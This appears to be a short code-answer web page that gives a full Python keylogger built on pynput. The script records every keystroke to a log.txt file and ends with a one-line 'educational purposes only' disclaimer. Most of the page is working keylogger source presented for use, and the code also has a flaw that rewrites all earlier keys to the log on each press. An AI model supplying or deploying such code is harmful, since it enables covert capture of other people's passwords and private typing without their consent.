simple keylogger on pure python wits saving in file in python

To create a simple keylogger in python, we will need to use the pynput library which allows us to capture keyboard inputs. Here is the code to implement a keylogger in python:

main.py
from pynput.keyboard import Key, Listener
import os

keys = []

# method to write keys to a file
def write_file(keys):
    with open(os.getcwd() + "/log.txt", "a") as file:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                file.write('\n')
            elif k.find("Key") == -1:
                file.write(k)

# method to handle events (press, release) of keyboard
def on_press(key):
    print(key, "pressed")
    keys.append(key)
    write_file(keys)

def on_release(key):
    if key == Key.esc:
        return False

# start the listener
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
697 chars
29 lines

Save the above code with an extension of .py and run it from the command prompt or terminal. Once this code is run, it will keep on writing the keystrokes into a file named log.txt in the same directory as the script.

Note: This code is for educational purposes only. Use it responsibly and with permission from the target computer's owner.

gistlibby LogSnag